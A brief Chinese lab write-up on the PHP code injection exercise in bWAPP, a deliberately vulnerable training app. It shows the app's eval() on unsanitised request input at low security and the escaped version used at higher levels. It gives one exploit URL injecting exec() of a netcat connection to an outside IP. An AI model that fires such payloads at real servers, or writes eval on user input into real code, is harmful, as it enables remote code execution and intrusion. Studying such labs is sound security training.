bWAPP–PHP Code Injection
<?php
if(isset($_REQUEST["message"]))
{
// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
?>
<p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>
-
low
http://127.0.0.1/phpi.php?message=exec("nc 192.168.80.2 4444") -
mid/high
无法绕过
<?php } // If the security level is MEDIUM or HIGH else { ?> <p><i><?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?></i></p> <?php } } ?>
本文介绍了一个存在于bWAPP应用中的PHP代码注入漏洞。该漏洞允许攻击者通过HTTP请求执行任意PHP代码,但受安全性级别限制。当安全性设置为非中或高级时,攻击者可以利用此漏洞;而在中或高级安全性设置下,则会进行转义处理防止代码执行。
924

被折叠的 条评论
为什么被折叠?



